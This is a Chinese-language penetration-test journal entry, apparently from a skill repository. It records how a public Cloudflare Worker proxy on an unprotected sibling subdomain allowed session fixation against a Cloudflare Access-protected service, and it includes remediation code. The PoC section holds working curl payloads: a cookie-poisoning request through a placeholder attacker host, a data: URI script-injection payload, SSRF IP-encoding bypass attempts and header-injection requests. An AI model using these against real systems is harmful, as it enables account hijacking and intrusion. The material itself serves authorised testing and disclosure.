Files
reverse-skill/skills/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md
T
yhc 5906d74b2d chore: remove stale evolution counters, unify capability/tool counts to source of truth
- Remove hand-maintained <!-- [进化统计] --> comments from 12 journal/seed
  files (counters were contradictory: 21/7/8/11/12/94/18; template keeps the
  placeholder for future guidance)
- Capability lists in RULES.md / RULES_zh.md / skills/SKILL.md now match
  bootstrap-manifest.json (24 capabilities: add jeb-pro, reqable-mcp, bkcrack)
- Burp tool count in RULES_zh.md: 63 -> 78 (verified against getToolList()
  in burp-mcp-full/McpHttpServer.java; RULES.md already said 78)
2026-08-10 19:11:06 +08:00

12 KiB

2026-05-25 CF Access 兄弟子域配置错误 → 跨子域 Cookie 投毒 + Session Fixation

场景分类

渗透测试 / Web 应用 / Cloudflare Zero Trust 配置审计

目标概述

一个自有 Web 服务 chrome.{target_proxy_root},受 Cloudflare Access (Email OTP) 严格保护;用户授权"主动探测、非破坏"。任务目标:找能进入后台的漏洞。

直接攻 CF Access 是死胡同(所有路径都 302 到登录、HTTP 方法/头部绕过全失败、Email OTP 无 captcha 但邮箱必须在 allow-list)。突破口在兄弟子域:管理员把 CF Access Application 只配在 chrome. 子域,忘了配 cross. 兄弟子域(共用 *.{target_proxy_root} wildcard 证书),cross. 暴露了一个公开 Web 代理(Cloudflare Worker)。利用代理透传 Set-Cookie + 父域 cookie 作用域,实现对受 CF Access 保护的 chrome. 子域的 Session Fixation 攻击(强制让受害者以攻击者身份操作后台)。

完整执行链路

  1. DNS 解析 → 目标在 Cloudflare 后(104.21/172.67 段,TTL=5s,典型 CF proxy 模式)
  2. HTTP 指纹 → 所有路径 302 到 {cf_team}.cloudflareaccess.com/cdn-cgi/access/login/...
    • Www-Authenticate: Cloudflare-Access 头 + CF-Access-Domain 响应头确认是 CF Access
    • CSP connect-src 'self' http://127.0.0.1:* 暗示前端连本地代理(架构是浏览器扩展 + 本地客户端)
  3. CF Access 入口抓取 → 唯一登录方式是 Email OTP(form action /cdn-cgi/access/verify-code/...),无 captcha(YesCaptcha 这类绕不了 SSO)
  4. HTTP 方法/Header 绕过尝试 → POST/PUT/OPTIONS/路径遍历/Host 头/X-Forwarded-Host 全部 302 或 403
  5. .well-known/cloudflare-access-protected-resource/ 元数据 → 公开端点,泄露 team_domain
  6. CT 日志查兄弟子域(crt.sh 502,改用 certspotter):
    curl 'https://api.certspotter.com/v1/issuances?domain={target_proxy_root}&include_subdomains=true&expand=dns_names'
    
    → 发现 cross.{target_proxy_root} 单独签证(SAN 包含 *.cross.{target_proxy_root})
  7. 测试兄弟子域:
    curl -I https://cross.{target_proxy_root}/
    # HTTP/1.1 200 OK  —  无任何认证!
    
    返回一个 HTML 页面,中文 UI 写着"裤佬万能代理",输入框 → 跳转 /?url=<目标>
  8. 代理基础行为指纹:
    • 出口注入 Cf-Worker: {target_proxy_root} → 确认是 Cloudflare Worker
    • 出口 Origin/Referer 自动改写成目标 URL 的源(Worker fetch() 默认行为)
    • 客户端发的 X-Forwarded-For 不透传给上游(被 Worker 剥)
    • 客户端 User-Agent 会透传
  9. SSRF 内网尝试 → 全失败:
    • ?url=http://127.0.0.1/ → CF Error 1003(私有 IP 被 CF Worker fetch 自动拦)
    • 各种 IP 编码(2130706433/0x7f000001/0177.0.0.1/127.1/IPv6 [::1]) → 全 1003
    • 跟随重定向到私有 IP(?url=https://httpbin.org/redirect-to?url=http://127.0.0.1/) → 1003
    • 结论: CF Worker fetch() 内置的 private IP block 在最终目标层强制生效,编码/重定向都没用
  10. scheme 探索:
    • file:// / gopher:// / ws:// / javascript: → 502 / 400(被拒)
    • data:text/html,... → 200 OK + Content-Type: text/html → 直接反射 HTML/JS
    • data:image/svg+xml,<svg onload=...> → 200 OK + image/svg+xml → SVG XSS
  11. 响应头透传检测(关键):
    • 用 httpbin.org/response-headers 让上游返回任意 header,代理原样转发给客户端
    • 验证 Set-Cookie: PWN=yes; Domain=.{target_proxy_root}; Path=/ 成功透传
    • 用 curl -c jar.txt 抓 cookie → cookie jar 把 cookie 注册到 .{target_proxy_root} 域
    • 用同 jar 通过代理访问 httpbin.org/cookies → 返回 {"cookies":{"PWN":"yes"}},证明浏览器会把 cookie 带到 chrome 子域
  12. CF Access 关键 cookie 投毒验证:
    • 通过代理诱导浏览器保存 CF_Authorization=<attacker_token>; Domain=.{target_proxy_root}; Path=/; Secure
    • 攻击链闭合:攻击者用自己合法账号登录,把 token 投毒到受害者浏览器,受害者后续操作以攻击者身份进行(反向 Session Fixation / Session Pinning)
  13. 辅助危害:
    • POST 透传(带 body)+ Access-Control-Allow-Origin: * + Allow-Credentials: true → 跨域 CSRF 放大器
    • 响应被 CF 边缘缓存 2 小时+(CF-Cache-Status: HIT, Age: 7987s)→ Cache Poisoning 放大
    • 无速率限制(连续 5 次稳定 1.4s/次)
  14. 写报告

踩坑记录

问题 原因 解决方案 耗时
Invoke-WebRequest 探响应头报 "Operation is not valid due to the current state of the object" Windows PowerShell 5.1 处理 302 + 复杂头部出 bug 直接用 Bash + curl 2 分钟
nmap 在 Win 上报 pcap_activate(eth0) FAILED 默认用 raw socket,Win 上 npcap 接口名不一致 加 -sT 走 TCP connect,不用 raw socket 3 分钟
crt.sh 502 不返回数据 一直 502 不稳定 改用 api.certspotter.com/v1/issuances 5 分钟
nslookup 中文 Win 输出乱码,看不出 NXDOMAIN Win cp936/utf-8 不匹配 用 IP 输出行(Address:)判断存活 2 分钟
wildcard DNS 导致每个枚举的子域都 "解析成功" *.{target_proxy_root} CNAME 指 CF 不能靠 DNS 解析判断子域是否存在,要用 CT 日志(certspotter)+ HTTP 响应内容指纹 5 分钟
curl --http2 报 "libcurl version does not support" Git for Windows 自带 curl 没编 nghttp2 这次任务不需要 HTTP/2,跳过 —

关键命令

信息收集

# CF 元数据(unauth 公开端点)
curl -s 'https://{target}/.well-known/cloudflare-access-protected-resource/'

# CT 日志查兄弟域(crt.sh 备选)
curl -s 'https://api.certspotter.com/v1/issuances?domain={root}&include_subdomains=true&expand=dns_names'

# CF Worker 身份 + 出口 IP
curl -s 'https://{proxy}/?url=https%3A%2F%2Fhttpbin.org%2Fanything' | jq '.headers, .origin'

漏洞 PoC

# V1: 父域 cookie 投毒(强制 chrome 子域使用 attacker token)
curl -c jar.txt 'https://cross.{target_proxy_root}/?url=https%3A%2F%2F{attacker_host}%2Fset-cookie'
# {attacker_host}/set-cookie 返回:
#   Set-Cookie: CF_Authorization={attacker_jwt}; Domain=.{target_proxy_root}; Path=/; Secure
# 验证:
curl -b jar.txt 'https://cross.{target_proxy_root}/?url=https%3A%2F%2Fhttpbin.org%2Fcookies'
#   → {"cookies":{"CF_Authorization":"{attacker_jwt}"}}

# V2: data: URI XSS (在合法域执行任意 HTML/JS)
URL='data:text/html,<script>alert(document.domain)</script>'
ENC=$(python -c "import urllib.parse,sys; print(urllib.parse.quote(sys.argv[1], safe=''))" "$URL")
curl "https://cross.{target_proxy_root}/?url=$ENC"
# Content-Type: text/html → 浏览器执行 → 在 cross.{target_proxy_root} origin 弹窗

# V3: 任意响应头透传(Header Smuggling)
curl -i 'https://cross.{target_proxy_root}/?url=https%3A%2F%2Fhttpbin.org%2Fresponse-headers%3FX-Frame-Options%3DALLOW%26CSP%3Ddefault-src%2520%2A'

修复(Worker JS)

export default {
  async fetch(req) {
    const target = new URL(req.url).searchParams.get('url');
    if (!target) return new Response(LANDING, {headers:{'Content-Type':'text/html'}});
    let t;
    try { t = new URL(target); } catch { return new Response('bad url',{status:400}); }
    // 拒绝非 HTTP scheme(V2 修复)
    if (!['http:','https:'].includes(t.protocol)) return new Response('scheme not allowed',{status:400});
    
    const up = await fetch(t, {
      method: req.method,
      headers: stripUnsafeHeaders(req.headers),  // 剥 Cookie/Origin/Referer
      body: req.body,
      redirect: 'manual',  // 不跟随重定向,避免重定向到 127.0.0.1 SSRF
    });
    
    // 响应头白名单(V1/V3 修复)— 关键:不传 Set-Cookie / CSP / Location 等
    const safe = new Headers();
    safe.set('Content-Type', up.headers.get('content-type') || 'application/octet-stream');
    safe.set('Content-Disposition', 'attachment');  // 强制下载,不渲染
    safe.set('X-Content-Type-Options', 'nosniff');
    safe.set('Content-Security-Policy', 'sandbox');
    
    return new Response(up.body, {status: up.status, headers: safe});
  }
};

并行修复:

  • 把 CF Access Application 改为 *.{target_proxy_root} 通配(V4 修复:覆盖所有兄弟子域)
  • 公开代理必须放到完全独立的二级域,跟敏感应用不共享父域

漏洞清单(本次发现)

编号 严重度 名称 一句话
V1 严重 CF Access Session Fixation 父域 Set-Cookie 透传,可强制受害者使用攻击者 token
V2 严重 反射型 XSS(data: scheme) 合法域名下执行任意 HTML/JS,完美钓鱼跳板
V3 高危 任意响应头注入 CSP/X-Frame-Options/Set-Cookie 全可被上游控制
V4 高危 CF Access 兄弟子域配置错误 同根域 wildcard 证书覆盖,Application 只配单子域
V5 高危 公开 Open Proxy 无认证/无速率限/无目标白名单,可被滥用
V6 中危 Origin/Referer 自动改写 Worker fetch 默认行为,可助攻 same-origin CSRF
V7 中危 Cf-Worker 头泄露 出口请求暴露 Worker 所在域

工具链发现

工具 经验
Invoke-WebRequest (PS 5.1) 处理 302 + 复杂头会抛 "Operation is not valid",完全不可靠,Web 渗透一律走 curl
nmap on Win + 默认 raw socket 必须 -sT 才能绕开 npcap 接口名问题
crt.sh 不稳定,经常 502;api.certspotter.com 是更可靠的备选;但 certspotter 对 non-eTLD 域(像 ccwu.cc 这种非公共 TLD 下注册的)会拒绝主域查询,要查二级子域(crossdomainproxy.ccwu.cc)就行
nslookup 中文 Win 输出乱码,只能靠 Address: 行判断 IPv4/v6;判 NXDOMAIN 不靠谱;改用 Resolve-DnsName PowerShell cmdlet 输出更结构化
httpbin.org/response-headers + httpbin.org/anything 探代理透传行为的神器,可观察 outbound headers + 任意 inject response headers
cf-worker request header 探针 一个简单的 ?url=httpbin.org/anything 就能确认上游是不是 CF Worker(看 outbound headers 有没有 Cf-Worker)

对本包的改进建议

新增一条路由(添加到 pentest-tools/SKILL.md 或 routing.md):

用户说 可以参考
"Cloudflare Access / Zero Trust / CF Access 配置错误" 本日志 + V4 模式
"Web 代理 / Open Proxy / SSRF 类目标" 本日志(代理特有漏洞:Set-Cookie 透传/响应头注入/data: XSS/scheme bypass)
"兄弟子域配置错误" 本日志:wildcard cert 但 Application 单子域

新模式 Top 3 沉淀(应该加到 _index.md 的"高频成功模式"):

  1. CF Access 兄弟子域绕过:CT 日志查 wildcard 证书覆盖的子域 → 看哪些没受保护
  2. HTTP 代理类目标的 7 道检测:Set-Cookie 透传、响应头透传、data: scheme、scheme 白名单、redirect 跟随、POST 透传、缓存键
  3. CF Worker fetch 私有 IP 自动拦截:Worker SSRF 比传统服务器侧 SSRF 难得多,因为 CF 在最终目标层拦私网,编码/重定向无效(节省时间,不要无脑试 IP 混淆)

进化动作

  • 写本日志
  • 更新 _index.md(添加场景条目、技术模式、目标特征三处)
  • 路由矩阵新增 "CF Access / Cloudflare Zero Trust" 条目(待后续 PR)
  • 新增 pitfalls 记录(certspotter 对非公共 TLD 的限制、PS Invoke-WebRequest 302 bug、nmap Win 必 -sT)

环境信息

  • OS: Windows 11 Pro for Workstations 10.0.26200
  • 工具版本: curl 8.19.0 (Git for Windows), nmap 7.80, python 3.14.5
  • 目标平台: Cloudflare(Access + Workers + 边缘缓存)
  • 当时位置(CF colo): SIN(新加坡)

脱敏说明

  • {target_proxy_root} = 真实根域的二级,本次目标是个人自有资产
  • {cf_team} = 客户的 CF Zero Trust team domain
  • {attacker_jwt} / {attacker_token} = 攻击者自己合法登录拿到的真 CF_Authorization JWT(没暴露内部细节,因为是攻击者自己的)
  • 命令 PoC 中所有 { } 占位符提交前已替换,没有公网 IP / 真实域名 / 真实 token 泄露